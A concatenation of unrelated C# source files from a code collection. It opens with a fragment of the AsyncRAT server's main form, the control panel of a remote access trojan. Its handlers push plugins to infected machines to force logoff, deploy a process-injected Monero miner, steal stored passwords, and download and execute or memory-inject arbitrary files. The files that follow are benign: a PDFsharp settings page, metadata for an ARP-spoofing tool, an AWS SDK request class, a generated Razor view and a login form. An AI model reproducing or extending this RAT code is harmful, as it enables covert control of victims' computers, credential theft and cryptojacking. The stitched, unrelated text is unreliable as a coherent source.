GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void LogoffToolStripMenuItem1_Click(object sender, EventArgs e) { try { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "pcOptions"; packet.ForcePathObject("Option").AsString = "logoff"; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } #endregion #region Builder private void bUILDERToolStripMenuItem_Click(object sender, EventArgs e) { #if DEBUG MessageBox.Show("You can't build using a debug version.", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error); return; #endif using (FormBuilder formBuilder = new FormBuilder()) { formBuilder.ShowDialog(); } } #endregion #region About private void ABOUTToolStripMenuItem_Click(object sender, EventArgs e) { using (FormAbout formAbout = new FormAbout()) { formAbout.ShowDialog(); } } #endregion #endregion #region Logs private void CLEARToolStripMenuItem_Click(object sender, EventArgs e) { try { lock (Settings.LockListviewLogs) { listView2.Items.Clear(); } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } #endregion #region Thumbnails private void STARTToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.Items.Count > 0) { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "thumbnails"; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in GetAllClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } private void STOPToolStripMenuItem_Click(object sender, EventArgs e) { try { if (listView1.Items.Count > 0) { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "thumbnailsStop"; foreach (ListViewItem itm in listView3.Items) { Clients client = (Clients)itm.Tag; ThreadPool.QueueUserWorkItem(client.Send, packet.Encode2Bytes()); } } listView3.Items.Clear(); ThumbnailImageList.Images.Clear(); foreach (ListViewItem itm in listView1.Items) { Clients client = (Clients)itm.Tag; client.LV2 = null; } } catch { } } #endregion #region Tasks private void DELETETASKToolStripMenuItem_Click(object sender, EventArgs e) { if (listView4.SelectedItems.Count > 0) { foreach (ListViewItem item in listView4.SelectedItems) { item.Remove(); } } } private async void TimerTask_Tick(object sender, EventArgs e) { try { if (getTasks.Count > 0 && GetAllClients().Length > 0) foreach (AsyncTask asyncTask in getTasks.ToList()) { if (GetListview(asyncTask.id) == false) { getTasks.Remove(asyncTask); Debug.WriteLine("task removed"); return; } foreach (Clients client in GetAllClients()) { if (!asyncTask.doneClient.Contains(client.ID)) { Debug.WriteLine("task executed"); asyncTask.doneClient.Add(client.ID); SetExecution(asyncTask.id); ThreadPool.QueueUserWorkItem(client.Send, asyncTask.msgPack); } } await Task.Delay(15 * 1000); //15sec per 1 task } } catch { } } private void MinerToolStripMenuItem1_Click(object sender, EventArgs e) { try { if (listView4.Items.Count > 0) { foreach (ListViewItem item in listView4.Items) { if (item.Text == "Miner XMR") { return; } } } using (FormMiner form = new FormMiner()) { if (form.ShowDialog() == DialogResult.OK) { if (!File.Exists(@"Plugins\xmrig.bin")) { File.WriteAllBytes(@"Plugins\xmrig.bin", Properties.Resources.xmrig); } MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "xmr"; packet.ForcePathObject("Command").AsString = "run"; XmrSettings.Pool = form.txtPool.Text; packet.ForcePathObject("Pool").AsString = form.txtPool.Text; XmrSettings.Wallet = form.txtWallet.Text; packet.ForcePathObject("Wallet").AsString = form.txtWallet.Text; XmrSettings.Pass = form.txtPass.Text; packet.ForcePathObject("Pass").AsString = form.txtPool.Text; XmrSettings.InjectTo = form.comboInjection.Text; packet.ForcePathObject("InjectTo").AsString = form.comboInjection.Text; XmrSettings.Hash = GetHash.GetChecksum(@"Plugins\xmrig.bin"); packet.ForcePathObject("Hash").AsString = XmrSettings.Hash; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); ListViewItem lv = new ListViewItem(); lv.Text = "Miner XMR"; lv.SubItems.Add("0"); lv.ToolTipText = Guid.NewGuid().ToString(); listView4.Items.Add(lv); listView4.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); getTasks.Add(new AsyncTask(msgpack.Encode2Bytes(), lv.ToolTipText)); } } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void PASSWORDRECOVERYToolStripMenuItem_Click(object sender, EventArgs e) { try { if (listView4.Items.Count > 0) { foreach (ListViewItem item in listView4.Items) { if (item.Text == "Recovery Password") { return; } } } MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Recovery.dll")); ListViewItem lv = new ListViewItem(); lv.Text = "Recovery Password"; lv.SubItems.Add("0"); lv.ToolTipText = Guid.NewGuid().ToString(); listView4.Items.Add(lv); listView4.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); getTasks.Add(new AsyncTask(msgpack.Encode2Bytes(), lv.ToolTipText)); } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void DownloadAndExecuteToolStripMenuItem_Click(object sender, EventArgs e) { try { OpenFileDialog openFileDialog = new OpenFileDialog(); if (openFileDialog.ShowDialog() == DialogResult.OK) { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "sendFile"; packet.ForcePathObject("Update").AsString = "false"; packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(openFileDialog.FileName))); packet.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); ListViewItem lv = new ListViewItem(); lv.Text = "SendFile: " + Path.GetFileName(openFileDialog.FileName); lv.SubItems.Add("0"); lv.ToolTipText = Guid.NewGuid().ToString(); if (listView4.Items.Count > 0) { foreach (ListViewItem item in listView4.Items) { if (item.Text == lv.Text) { return; } } } Program.form1.listView4.Items.Add(lv); Program.form1.listView4.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); getTasks.Add(new AsyncTask(msgpack.Encode2Bytes(), lv.ToolTipText)); } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void SENDFILETOMEMORYToolStripMenuItem1_Click(object sender, EventArgs e) { try { FormSendFileToMemory formSend = new FormSendFileToMemory(); formSend.ShowDialog(); if (formSend.toolStripStatusLabel1.Text.Length > 0 && formSend.toolStripStatusLabel1.ForeColor == Color.Green) { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "sendMemory"; packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString()))); if (formSend.comboBox1.SelectedIndex == 0) { packet.ForcePathObject("Inject").AsString = ""; } else { packet.ForcePathObject("Inject").AsString = formSend.comboBox2.Text; } ListViewItem lv = new ListViewItem(); lv.Text = "SendMemory: " + Path.GetFileName(formSend.toolStripStatusLabel1.Tag.ToString()); lv.SubItems.Add("0"); lv.ToolTipText = Guid.NewGuid().ToString(); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); if (listView4.Items.Count > 0) { foreach (ListViewItem item in listView4.Items) { if (item.Text == lv.Text) { return; } } } Program.form1.listView4.Items.Add(lv); Program.form1.listView4.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); getTasks.Add(new AsyncTask(msgpack.Encode2Bytes(), lv.ToolTipText)); } formSend.Close(); formSend.Dispose(); } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private void UPDATEToolStripMenuItem1_Click(object sender, EventArgs e) { try { OpenFileDialog openFileDialog = new OpenFileDialog(); if (openFileDialog.ShowDialog() == DialogResult.OK) { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "sendFile"; packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(openFileDialog.FileName))); packet.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName); packet.ForcePathObject("Update").AsString = "true"; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); ListViewItem lv = new ListViewItem(); lv.Text = "Update: " + Path.GetFileName(openFileDialog.FileName); lv.SubItems.Add("0"); lv.ToolTipText = Guid.NewGuid().ToString(); if (listView4.Items.Count > 0) { foreach (ListViewItem item in listView4.Items) { if (item.Text == lv.Text) { return; } } } Program.form1.listView4.Items.Add(lv); Program.form1.listView4.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); getTasks.Add(new AsyncTask(msgpack.Encode2Bytes(), lv.ToolTipText)); } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } private bool GetListview(string id) { foreach (ListViewItem item in Program.form1.listView4.Items) { if (item.ToolTipText == id) { return true; } } return false; } private void SetExecution(string id) { foreach (ListViewItem item in Program.form1.listView4.Items) { if (item.ToolTipText == id) { int count = Convert.ToInt32(item.SubItems[1].Text); count++; item.SubItems[1].Text = count.ToString(); } } } #endregion #region Server private void BlockClientsToolStripMenuItem_Click(object sender, EventArgs e) { using (FormBlockClients form = new FormBlockClients()) { form.ShowDialog(); } } #endregion [DllImport("uxtheme", CharSet = CharSet.Unicode)] public static extern int SetWindowTheme(IntPtr hWnd, string textSubAppName, string textSubIdList); } }
41.822184
5,772
0.517109
[ "MIT" ]
bloo1121/AsyncRAT-C-Sharp
AsyncRAT-C#/Server/Forms/Form1.cs
73,155
C#
using System; using System.Collections; using System.ComponentModel; using System.Drawing; using System.Data; using System.Windows.Forms; using PdfSharp.Drawing; using PdfSharp.Pdf; using XDrawing.TestLab; namespace XDrawing.TestLab.FormPages { /// <summary> /// /// </summary> public class GeneralPage : System.Windows.Forms.UserControl { private System.Windows.Forms.Label label1; private System.Windows.Forms.Button btnBackground; private System.Windows.Forms.Label lblFillMode; private System.Windows.Forms.Panel pnlBackground; private System.Windows.Forms.ComboBox cbxFillMode; private System.Windows.Forms.NumericUpDown udTension; private System.Windows.Forms.Label lblTension; private System.Windows.Forms.Button btnClear; private System.Windows.Forms.Label lblPageUnit; private System.Windows.Forms.ComboBox cbxPageUnit; private System.Windows.Forms.Label lblPageDirection; private System.Windows.Forms.ComboBox cbxPageDirection; private System.Windows.Forms.Label lblDirectionInfo; private ComboBox cbxColorMode; private Label lblColorMode; private System.ComponentModel.Container components = null; public GeneralPage() { InitializeComponent(); UITools.SetTabPageColor(this); } void ModelToView() { if (this.inModelToView || DesignMode) return; this.inModelToView = true; this.pnlBackground.BackColor = this.generalProperties.BackColor.Color.ToGdiColor(); this.cbxFillMode.SelectedIndex = (int)this.generalProperties.FillMode; this.udTension.Value = (decimal)this.generalProperties.Tension; this.cbxPageUnit.SelectedIndex = (int)this.generalProperties.PageUnit; this.cbxPageDirection.SelectedIndex = (int)this.generalProperties.PageDirection; this.cbxColorMode.SelectedIndex = (int)this.generalProperties.ColorMode; this.inModelToView = false; } bool inModelToView; public event UpdateDrawing UpdateDrawing; void OnUpdateDrawing() { if (UpdateDrawing != null) { ModelToView(); UpdateDrawing(); } } public GeneralProperties GeneralProperties { get {return this.generalProperties;} set {this.generalProperties = value; ModelToView();} } GeneralProperties generalProperties; /// <summary> /// Clean up any resources being used. /// </summary> protected override void Dispose(bool disposing) { if (disposing) { if (components != null) components.Dispose(); } base.Dispose(disposing); } #region Component Designer generated code /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.label1 = new System.Windows.Forms.Label(); this.pnlBackground = new System.Windows.Forms.Panel(); this.btnBackground = new System.Windows.Forms.Button(); this.lblFillMode = new System.Windows.Forms.Label(); this.cbxFillMode = new System.Windows.Forms.ComboBox(); this.udTension = new System.Windows.Forms.NumericUpDown(); this.lblTension = new System.Windows.Forms.Label(); this.btnClear = new System.Windows.Forms.Button(); this.lblPageUnit = new System.Windows.Forms.Label(); this.cbxPageUnit = new System.Windows.Forms.ComboBox(); this.lblPageDirection = new System.Windows.Forms.Label(); this.cbxPageDirection = new System.Windows.Forms.ComboBox(); this.lblDirectionInfo = new System.Windows.Forms.Label(); this.cbxColorMode = new System.Windows.Forms.ComboBox(); this.lblColorMode = new System.Windows.Forms.Label(); ((System.ComponentModel.ISupportInitialize)(this.udTension)).BeginInit(); this.SuspendLayout(); // // label1 // this.label1.AutoSize = true; this.label1.Location = new System.Drawing.Point(16, 24); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(68, 13); this.label1.TabIndex = 0; this.label1.Text = "Background:"; // // pnlBackground // this.pnlBackground.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D; this.pnlBackground.Location = new System.Drawing.Point(90, 12); this.pnlBackground.Name = "pnlBackground"; this.pnlBackground.Size = new System.Drawing.Size(44, 40); this.pnlBackground.TabIndex = 1; // // btnBackground // this.btnBackground.FlatStyle = System.Windows.Forms.FlatStyle.System; this.btnBackground.Location = new System.Drawing.Point(144, 19); this.btnBackground.Name = "btnBackground"; this.btnBackground.Size = new System.Drawing.Size(24, 23); this.btnBackground.TabIndex = 2; this.btnBackground.Text = "..."; this.btnBackground.Click += new System.EventHandler(this.btnBackground_Click); // // lblFillMode // this.lblFillMode.Location = new System.Drawing.Point(16, 61); this.lblFillMode.Name = "lblFillMode"; this.lblFillMode.Size = new System.Drawing.Size(64, 16); this.lblFillMode.TabIndex = 3; this.lblFillMode.Text = "FillMode:"; // // cbxFillMode // this.cbxFillMode.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.cbxFillMode.Items.AddRange(new object[] { "Alternate (0)", "Winding (1)"}); this.cbxFillMode.Location = new System.Drawing.Point(90, 58); this.cbxFillMode.Name = "cbxFillMode"; this.cbxFillMode.Size = new System.Drawing.Size(121, 21); this.cbxFillMode.TabIndex = 4; this.cbxFillMode.SelectedIndexChanged += new System.EventHandler(this.cbxFillMode_SelectedIndexChanged); // // udTension // this.udTension.DecimalPlaces = 2; this.udTension.Increment = new decimal(new int[] { 1, 0, 0, 65536}); this.udTension.Location = new System.Drawing.Point(90, 85); this.udTension.Maximum = new decimal(new int[] { 10, 0, 0, 0}); this.udTension.Name = "udTension"; this.udTension.Size = new System.Drawing.Size(48, 20); this.udTension.TabIndex = 9; this.udTension.ValueChanged += new System.EventHandler(this.udTension_ValueChanged); // // lblTension // this.lblTension.Location = new System.Drawing.Point(16, 87); this.lblTension.Name = "lblTension"; this.lblTension.Size = new System.Drawing.Size(64, 16); this.lblTension.TabIndex = 8; this.lblTension.Text = "Tension:"; // // btnClear // this.btnClear.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.btnClear.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.btnClear.ForeColor = System.Drawing.Color.Firebrick; this.btnClear.Location = new System.Drawing.Point(144, 84); this.btnClear.Name = "btnClear"; this.btnClear.Size = new System.Drawing.Size(19, 19); this.btnClear.TabIndex = 10; this.btnClear.TabStop = false; this.btnClear.Text = "X"; this.btnClear.Click += new System.EventHandler(this.btnClear_Click); // // lblPageUnit // this.lblPageUnit.Location = new System.Drawing.Point(16, 114); this.lblPageUnit.Name = "lblPageUnit"; this.lblPageUnit.Size = new System.Drawing.Size(60, 16); this.lblPageUnit.TabIndex = 11; this.lblPageUnit.Text = "PageUnit:"; // // cbxPageUnit // this.cbxPageUnit.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.cbxPageUnit.Items.AddRange(new object[] { "Point (0)", "Inch (1)", "Millimeter (2)", "Centimeter (3)"}); this.cbxPageUnit.Location = new System.Drawing.Point(90, 111); this.cbxPageUnit.Name = "cbxPageUnit"; this.cbxPageUnit.Size = new System.Drawing.Size(121, 21); this.cbxPageUnit.TabIndex = 4; this.cbxPageUnit.SelectedIndexChanged += new System.EventHandler(this.cbxPageUnit_SelectedIndexChanged); // // lblPageDirection // this.lblPageDirection.Location = new System.Drawing.Point(16, 141); this.lblPageDirection.Name = "lblPageDirection"; this.lblPageDirection.Size = new System.Drawing.Size(60, 16); this.lblPageDirection.TabIndex = 11; this.lblPageDirection.Text = "Direction:"; // // cbxPageDirection // this.cbxPageDirection.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.cbxPageDirection.Items.AddRange(new object[] { "Downwards (0)", "Upwards (1)"}); this.cbxPageDirection.Location = new System.Drawing.Point(90, 138); this.cbxPageDirection.Name = "cbxPageDirection"; this.cbxPageDirection.Size = new System.Drawing.Size(121, 21); this.cbxPageDirection.TabIndex = 4; this.cbxPageDirection.SelectedIndexChanged += new System.EventHandler(this.cbxPageDirection_SelectedIndexChanged); // // lblDirectionInfo // this.lblDirectionInfo.Location = new System.Drawing.Point(217, 141); this.lblDirectionInfo.Name = "lblDirectionInfo"; this.lblDirectionInfo.Size = new System.Drawing.Size(148, 16); this.lblDirectionInfo.TabIndex = 12; this.lblDirectionInfo.Text = "(applies to PDF pages only)"; // // cbxColorMode // this.cbxColorMode.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.cbxColorMode.Items.AddRange(new object[] { "Do not care", "RGB", "CMYK"}); this.cbxColorMode.Location = new System.Drawing.Point(90, 165); this.cbxColorMode.Name = "cbxColorMode"; this.cbxColorMode.Size = new System.Drawing.Size(121, 21); this.cbxColorMode.TabIndex = 4; this.cbxColorMode.SelectedIndexChanged += new System.EventHandler(this.cbxColorMode_SelectedIndexChanged); // // lblColorMode // this.lblColorMode.Location = new System.Drawing.Point(16, 168); this.lblColorMode.Name = "lblColorMode"; this.lblColorMode.Size = new System.Drawing.Size(60, 16); this.lblColorMode.TabIndex = 11; this.lblColorMode.Text = "Direction:"; // // GeneralPage // this.BackColor = System.Drawing.SystemColors.Control; this.Controls.Add(this.lblDirectionInfo); this.Controls.Add(this.lblPageUnit); this.Controls.Add(this.btnClear); this.Controls.Add(this.udTension); this.Controls.Add(this.lblTension); this.Controls.Add(this.cbxFillMode); this.Controls.Add(this.lblFillMode); this.Controls.Add(this.btnBackground); this.Controls.Add(this.pnlBackground); this.Controls.Add(this.label1); this.Controls.Add(this.cbxPageUnit); this.Controls.Add(this.lblColorMode); this.Controls.Add(this.lblPageDirection); this.Controls.Add(this.cbxColorMode); this.Controls.Add(this.cbxPageDirection); this.Name = "GeneralPage"; this.Size = new System.Drawing.Size(380, 240); ((System.ComponentModel.ISupportInitialize)(this.udTension)).EndInit(); this.ResumeLayout(false); this.PerformLayout(); } #endregion private void btnBackground_Click(object sender, System.EventArgs e) { try { using (ChooseColorDialog dialog = new ChooseColorDialog()) { dialog.ColorProperty = this.generalProperties.BackColor; dialog.UpdateDrawing += new UpdateDrawing(OnUpdateDrawing); XColor oldColor = this.generalProperties.BackColor.Color; if (dialog.ShowDialog(XGraphicsLab.mainForm) != DialogResult.OK) { this.generalProperties.BackColor.Color = oldColor; OnUpdateDrawing(); } } } catch {} } private void cbxFillMode_SelectedIndexChanged(object sender, System.EventArgs e) { if (this.inModelToView) return; if (this.cbxFillMode.SelectedIndex != -1) { this.generalProperties.FillMode = (XFillMode)this.cbxFillMode.SelectedIndex; OnUpdateDrawing(); } } private void udTension_ValueChanged(object sender, System.EventArgs e) { if (this.inModelToView) return; this.generalProperties.Tension = Convert.ToDouble(this.udTension.Value); OnUpdateDrawing(); } private void btnClear_Click(object sender, System.EventArgs e) { this.udTension.Value = 0.5M; } private void cbxPageUnit_SelectedIndexChanged(object sender, System.EventArgs e) { if (this.inModelToView) return; if (this.cbxPageUnit.SelectedIndex != -1) { this.generalProperties.PageUnit = (XGraphicsUnit)this.cbxPageUnit.SelectedIndex; OnUpdateDrawing(); } } private void cbxPageDirection_SelectedIndexChanged(object sender, System.EventArgs e) { if (this.inModelToView) return; if (this.cbxPageDirection.SelectedIndex != -1) { this.generalProperties.PageDirection = (XPageDirection)this.cbxPageDirection.SelectedIndex; OnUpdateDrawing(); } } private void cbxColorMode_SelectedIndexChanged(object sender, EventArgs e) { if (this.inModelToView) return; if (this.cbxColorMode.SelectedIndex != -1) { this.generalProperties.ColorMode = (PdfColorMode)this.cbxColorMode.SelectedIndex; OnUpdateDrawing(); } } } }
36.679894
161
0.66145
[ "MIT" ]
HiraokaHyperTools/PDFsharp
PDFsharp/dev/XGraphicsLab/FormPages/GeneralPage.cs
13,865
C#
using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("CSArp")] [assembly: AssemblyDescription("Arpspoof program")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("CSArp")] [assembly: AssemblyCopyright("Copyright © 2017")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("8fb487c8-306d-4476-8c6b-4d3ddf1853a4")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.4.0.0")] [assembly: AssemblyFileVersion("1.4.0.0")]
37.675676
84
0.747489
[ "MIT" ]
Formator/CSArp-Netcut
CSArp/Properties/AssemblyInfo.cs
1,397
C#
/* * Copyright 2010-2014 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ /* * Do not modify this file. This file is generated from the fms-2018-01-01.normal.json service model. */ using System; using System.Collections.Generic; using System.Xml.Serialization; using System.Text; using System.IO; using System.Net; using Amazon.Runtime; using Amazon.Runtime.Internal; namespace Amazon.FMS.Model { /// <summary> /// Container for the parameters to the TagResource operation. /// Adds one or more tags to an AWS resource. /// </summary> public partial class TagResourceRequest : AmazonFMSRequest { private string _resourceArn; private List<Tag> _tagList = new List<Tag>(); /// <summary> /// Gets and sets the property ResourceArn. /// <para> /// The Amazon Resource Name (ARN) of the resource to return tags for. The AWS Firewall /// Manager resources that support tagging are policies, applications lists, and protocols /// lists. /// </para> /// </summary> [AWSProperty(Required=true, Min=1, Max=1024)] public string ResourceArn { get { return this._resourceArn; } set { this._resourceArn = value; } } // Check to see if ResourceArn property is set internal bool IsSetResourceArn() { return this._resourceArn != null; } /// <summary> /// Gets and sets the property TagList. /// <para> /// The tags to add to the resource. /// </para> /// </summary> [AWSProperty(Required=true, Min=0, Max=200)] public List<Tag> TagList { get { return this._tagList; } set { this._tagList = value; } } // Check to see if TagList property is set internal bool IsSetTagList() { return this._tagList != null && this._tagList.Count > 0; } } }
30.91358
101
0.61901
[ "Apache-2.0" ]
DetlefGolze/aws-sdk-net
sdk/src/Services/FMS/Generated/Model/TagResourceRequest.cs
2,504
C#
#pragma checksum "C:\Users\mjames\source\repos\Social Networking Website In ASP.NET\SocialNetwork\Views\_ViewStart.cshtml" "{ff1816ec-aa5e-4d10-87f7-6f4963833460}" "7091c65830b0329e613be026ede8a57552863778" // <auto-generated/> #pragma warning disable 1591 [assembly: global::Microsoft.AspNetCore.Razor.Hosting.RazorCompiledItemAttribute(typeof(AspNetCore.Views__ViewStart), @"mvc.1.0.view", @"/Views/_ViewStart.cshtml")] namespace AspNetCore { #line hidden using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Mvc.Rendering; using Microsoft.AspNetCore.Mvc.ViewFeatures; #nullable restore #line 1 "C:\Users\mjames\source\repos\Social Networking Website In ASP.NET\SocialNetwork\Views\_ViewImports.cshtml" using SocialNetwork; #line default #line hidden #nullable disable #nullable restore #line 2 "C:\Users\mjames\source\repos\Social Networking Website In ASP.NET\SocialNetwork\Views\_ViewImports.cshtml" using SocialNetwork.Models; #line default #line hidden #nullable disable [global::Microsoft.AspNetCore.Razor.Hosting.RazorSourceChecksumAttribute(@"SHA1", @"7091c65830b0329e613be026ede8a57552863778", @"/Views/_ViewStart.cshtml")] [global::Microsoft.AspNetCore.Razor.Hosting.RazorSourceChecksumAttribute(@"SHA1", @"f753f9608fdc9f7cfcaef4fd6b8f21361e1f0383", @"/Views/_ViewImports.cshtml")] public class Views__ViewStart : global::Microsoft.AspNetCore.Mvc.Razor.RazorPage<dynamic> { #pragma warning disable 1998 public async override global::System.Threading.Tasks.Task ExecuteAsync() { #nullable restore #line 1 "C:\Users\mjames\source\repos\Social Networking Website In ASP.NET\SocialNetwork\Views\_ViewStart.cshtml" Layout = "_Layout"; #line default #line hidden #nullable disable } #pragma warning restore 1998 [global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute] public global::Microsoft.AspNetCore.Mvc.ViewFeatures.IModelExpressionProvider ModelExpressionProvider { get; private set; } [global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute] public global::Microsoft.AspNetCore.Mvc.IUrlHelper Url { get; private set; } [global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute] public global::Microsoft.AspNetCore.Mvc.IViewComponentHelper Component { get; private set; } [global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute] public global::Microsoft.AspNetCore.Mvc.Rendering.IJsonHelper Json { get; private set; } [global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute] public global::Microsoft.AspNetCore.Mvc.Rendering.IHtmlHelper<dynamic> Html { get; private set; } } } #pragma warning restore 1591
48.677966
206
0.770543
[ "MIT" ]
mathewjames-dev/SocialNetwork
SocialNetwork/obj/Debug/netcoreapp3.1/Razor/Views/_ViewStart.cshtml.g.cs
2,872
C#
using BL.Pizzeria; using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace Win.Pizzeria { public partial class FormLogin : Form { SeguridadBL _seguridad; public FormLogin() { InitializeComponent(); _seguridad = new SeguridadBL(); // CODIGO PARA MOVER EL FORMULARIO DE LOGIN this.FormBorderStyle = FormBorderStyle.None; this.DoubleBuffered = true; this.SetStyle(ControlStyles.ResizeRedraw, true); } private const int cGrip = 16; private const int cCaption = 32; protected override void OnPaint(PaintEventArgs e) { Rectangle rc = new Rectangle(this.ClientSize.Width - cGrip, this.ClientSize.Height - cGrip, cGrip, cGrip); ControlPaint.DrawSizeGrip(e.Graphics, this.BackColor, rc); rc = new Rectangle(0, 0, this.ClientSize.Width, cCaption); e.Graphics.FillRectangle(Brushes.White, rc); } protected override void WndProc(ref Message m) { if (m.Msg == 0x84) { Point pos = new Point(m.LParam.ToInt32()); pos = this.PointToClient(pos); if (pos.Y < cCaption) { m.Result = (IntPtr)2; return; } if (pos.X >= this.ClientSize.Width - cGrip && pos.Y >= this.ClientSize.Height - cGrip) { m.Result = (IntPtr)17; return; } } base.WndProc(ref m); } // CODIGO DEL BOTON CERRAR private void CerrarBoton_Click(object sender, EventArgs e) { this.Close(); } //CODIGO DEL BOTON MINIMIZAR private void MinimizarBoton_Click(object sender, EventArgs e) { this.WindowState = FormWindowState.Minimized; } //CODIGO PARA EL INICIO DE SESION private void ButtonAcceder_Click(object sender, EventArgs e) { string usuario; string contraseña; usuario = TextBoxUsuario.Text; contraseña = TextBoxContra.Text; var resultado = _seguridad.Autorizar(usuario, contraseña); if (resultado == true) { FormMenu llamar = new FormMenu(); llamar.Show(); this.Hide(); } else { DialogResult error = new DialogResult(); Form errormensaje = new MessageBoxLogin(); error = errormensaje.ShowDialog(); } } // CODIGO PARA DESBLOQUEAR BOTON private void TextBoxUsuario_TextChanged(object sender, EventArgs e) { if ((TextBoxUsuario.Text != "") && (TextBoxContra.Text != "")) { ButtonAcceder.Enabled = true; } else ButtonAcceder.Enabled = false; } private void TextBoxContra_TextChanged(object sender, EventArgs e) { if ((TextBoxUsuario.Text != "") && (TextBoxContra.Text != "")) { ButtonAcceder.Enabled = true; } else ButtonAcceder.Enabled = false; } } }
28.918699
118
0.524318
